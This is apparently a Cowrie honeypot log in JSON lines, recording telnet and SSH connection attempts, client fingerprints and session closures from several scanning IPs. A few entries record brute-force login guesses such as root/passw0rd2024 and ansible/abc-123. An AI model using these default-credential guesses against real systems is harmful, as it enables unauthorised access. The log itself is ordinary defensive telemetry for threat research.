{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":59864,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b5c8d5f8d9f","protocol":"telnet","message":"New connection: 172.233.212.110:59864 (10.17.0.5:23) [session: 2b5c8d5f8d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:03.242140Z"}
{"eventid":"cowrie.session.closed","duration":34.61898636817932,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:04.387941Z","src_ip":"172.233.212.110","session":"7c9042162983","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.323084592819214,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:04.900557Z","src_ip":"172.233.212.110","session":"0bedc2cda4a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":59870,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b7765cc0405","protocol":"telnet","message":"New connection: 172.233.212.110:59870 (10.17.0.5:23) [session: 6b7765cc0405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:07.329787Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46774,"dst_ip":"159.203.135.109","dst_port":22,"session":"e05593e26dc8","protocol":"ssh","message":"New connection: 159.203.92.129:46774 (159.203.135.109:22) [session: e05593e26dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:07.601385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:07.606734Z","src_ip":"159.203.92.129","session":"e05593e26dc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:07.611846Z","src_ip":"159.203.92.129","session":"e05593e26dc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"abc-123","message":"login attempt [ansible/abc-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:07.626800Z","src_ip":"159.203.92.129","session":"e05593e26dc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":59880,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd69fe739967","protocol":"telnet","message":"New connection: 172.233.212.110:59880 (10.17.0.5:23) [session: dd69fe739967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:07.782845Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:08.635879Z","src_ip":"159.203.92.129","session":"e05593e26dc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":59890,"dst_ip":"10.17.0.5","dst_port":22,"session":"e92631230397","protocol":"ssh","message":"New connection: 125.31.2.160:59890 (10.17.0.5:22) [session: e92631230397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:08.912464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:08.917504Z","src_ip":"125.31.2.160","session":"e92631230397","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:09.135145Z","src_ip":"125.31.2.160","session":"e92631230397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":59898,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bc52293b830","protocol":"telnet","message":"New connection: 172.233.212.110:59898 (10.17.0.5:23) [session: 0bc52293b830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:09.291337Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":59896,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa728444b837","protocol":"telnet","message":"New connection: 172.233.212.110:59896 (10.17.0.5:23) [session: fa728444b837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:09.990932Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd2024","message":"login attempt [root/passw0rd2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:10.040113Z","src_ip":"125.31.2.160","session":"e92631230397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:11.260327Z","src_ip":"125.31.2.160","session":"e92631230397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.33210277557373,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:11.942889Z","src_ip":"172.233.212.110","session":"1a301323637c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":59908,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2f849b1772e","protocol":"telnet","message":"New connection: 172.233.212.110:59908 (10.17.0.5:23) [session: d2f849b1772e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:12.228679Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":58102,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9966c6cbb19","protocol":"telnet","message":"New connection: 139.162.207.207:58102 (10.17.0.5:23) [session: a9966c6cbb19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:12.393621Z"}
{"eventid":"cowrie.session.closed","duration":33.8917977809906,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:13.273109Z","src_ip":"172.233.212.110","session":"ba4b21e6e296","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.19136714935303,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:15.380844Z","src_ip":"139.162.207.207","session":"56037da7c984","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.107773542404175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:15.689628Z","src_ip":"172.233.212.110","session":"ca03d58cf2bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":37378,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a0f084a4745","protocol":"telnet","message":"New connection: 172.233.212.110:37378 (10.17.0.5:23) [session: 3a0f084a4745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:17.739351Z"}
{"eventid":"cowrie.session.closed","duration":33.26081991195679,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:17.867339Z","src_ip":"172.233.212.110","session":"dde3b8ab4d05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":45064,"dst_ip":"10.17.0.5","dst_port":22,"session":"185945aaf833","protocol":"ssh","message":"New connection: 45.43.86.48:45064 (10.17.0.5:22) [session: 185945aaf833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:17.882915Z"}
{"eventid":"cowrie.session.closed","duration":31.282376050949097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:18.330807Z","src_ip":"172.233.212.110","session":"53f7ed7e90b3","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:18.794236Z","src_ip":"45.43.86.48","session":"185945aaf833","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:18.987234Z","src_ip":"45.43.86.48","session":"185945aaf833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":37384,"dst_ip":"10.17.0.5","dst_port":23,"session":"74184f12afdf","protocol":"telnet","message":"New connection: 172.233.212.110:37384 (10.17.0.5:23) [session: 74184f12afdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:19.623063Z"}
{"eventid":"cowrie.session.closed","duration":30.964799404144287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:20.621217Z","src_ip":"172.233.212.110","session":"3e17c95afa20","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"myappuser","password":"password","message":"login attempt [myappuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:21.001293Z","src_ip":"45.43.86.48","session":"185945aaf833","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.546464920043945,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:21.320126Z","src_ip":"209.126.87.217","session":"5952dc1dc7bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.7024667263031,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:21.810030Z","src_ip":"172.233.212.110","session":"441ef25459cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:22.595991Z","src_ip":"45.43.86.48","session":"185945aaf833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":41976,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ae20e8367a8","protocol":"telnet","message":"New connection: 209.126.87.217:41976 (159.203.135.109:23) [session: 6ae20e8367a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:24.545314Z"}
{"eventid":"cowrie.session.closed","duration":32.71508288383484,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:25.446961Z","src_ip":"209.126.87.217","session":"c43bcd813432","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.12026834487915,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:25.458440Z","src_ip":"139.162.207.207","session":"15fe7bfccfdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":39946,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3b38938374a","protocol":"telnet","message":"New connection: 172.233.212.110:39946 (10.17.0.5:23) [session: e3b38938374a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:25.488848Z"}
{"eventid":"cowrie.session.closed","duration":31.06507897377014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:25.513917Z","src_ip":"172.233.212.110","session":"5931eb6fc761","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":58520,"dst_ip":"10.17.0.5","dst_port":23,"session":"bae5037620df","protocol":"telnet","message":"New connection: 139.162.207.207:58520 (10.17.0.5:23) [session: bae5037620df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:25.552348Z"}
{"eventid":"cowrie.session.closed","duration":32.71618127822876,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:25.961384Z","src_ip":"172.233.212.110","session":"01e91cfaad2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":58522,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3d51cf7983d","protocol":"telnet","message":"New connection: 139.162.207.207:58522 (10.17.0.5:23) [session: f3d51cf7983d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:27.224490Z"}
{"eventid":"cowrie.session.closed","duration":39.7317898273468,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:27.877224Z","src_ip":"139.162.207.207","session":"da51019975d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.4698703289032,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:28.909686Z","src_ip":"172.233.212.110","session":"dbf44e8cb821","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":39958,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bcfbba73f8f","protocol":"telnet","message":"New connection: 172.233.212.110:39958 (10.17.0.5:23) [session: 1bcfbba73f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:29.026837Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":39962,"dst_ip":"10.17.0.5","dst_port":23,"session":"56e8e88518f6","protocol":"telnet","message":"New connection: 172.233.212.110:39962 (10.17.0.5:23) [session: 56e8e88518f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:30.390588Z"}
{"eventid":"cowrie.session.closed","duration":31.991426467895508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:32.748545Z","src_ip":"172.233.212.110","session":"47cbf078c782","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.859416961669922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:32.969170Z","src_ip":"172.233.212.110","session":"ed93354963c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":39964,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff9d1e4d5443","protocol":"telnet","message":"New connection: 172.233.212.110:39964 (10.17.0.5:23) [session: ff9d1e4d5443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:33.471745Z"}
{"eventid":"cowrie.session.closed","duration":32.127641916275024,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:33.676745Z","src_ip":"172.233.212.110","session":"f9275a4fa088","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59266996383667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:34.031700Z","src_ip":"172.233.212.110","session":"9f9e2ad06217","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95732092857361,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:34.199345Z","src_ip":"172.233.212.110","session":"2b5c8d5f8d9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":35800,"dst_ip":"159.203.135.109","dst_port":23,"session":"58e9194e29cb","protocol":"telnet","message":"New connection: 209.126.87.217:35800 (159.203.135.109:23) [session: 58e9194e29cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:35.508587Z"}
{"eventid":"cowrie.session.closed","duration":30.55793023109436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:38.340451Z","src_ip":"172.233.212.110","session":"dd69fe739967","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31363320350647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:38.643282Z","src_ip":"172.233.212.110","session":"6b7765cc0405","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.969197273254395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:40.260405Z","src_ip":"172.233.212.110","session":"0bc52293b830","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":58108,"dst_ip":"10.17.0.5","dst_port":23,"session":"418aa826bea6","protocol":"telnet","message":"New connection: 172.233.212.110:58108 (10.17.0.5:23) [session: 418aa826bea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:40.265500Z"}
{"eventid":"cowrie.session.closed","duration":31.25158381462097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:41.242395Z","src_ip":"172.233.212.110","session":"fa728444b837","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43748,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2bad2bbd1ac","protocol":"telnet","message":"New connection: 209.126.87.217:43748 (159.203.135.109:23) [session: b2bad2bbd1ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:41.744582Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43764,"dst_ip":"159.203.135.109","dst_port":23,"session":"42856225649d","protocol":"telnet","message":"New connection: 209.126.87.217:43764 (159.203.135.109:23) [session: 42856225649d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:43.139528Z"}
{"eventid":"cowrie.session.closed","duration":31.513920068740845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:43.742509Z","src_ip":"172.233.212.110","session":"d2f849b1772e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":47026,"dst_ip":"10.17.0.5","dst_port":23,"session":"41bd68c0ec83","protocol":"telnet","message":"New connection: 139.162.207.207:47026 (10.17.0.5:23) [session: 41bd68c0ec83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:45.517385Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":41696,"dst_ip":"10.17.0.5","dst_port":23,"session":"018defdccab0","protocol":"telnet","message":"New connection: 172.233.212.110:41696 (10.17.0.5:23) [session: 018defdccab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:46.016106Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":51728,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6cfc32af6ce","protocol":"ssh","message":"New connection: 37.143.61.130:51728 (159.203.135.109:22) [session: c6cfc32af6ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:48.675004Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":41704,"dst_ip":"10.17.0.5","dst_port":23,"session":"72a8f3f10725","protocol":"telnet","message":"New connection: 172.233.212.110:41704 (10.17.0.5:23) [session: 72a8f3f10725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:49.267862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:49.783310Z","src_ip":"37.143.61.130","session":"c6cfc32af6ce","protocol":"ssh"}
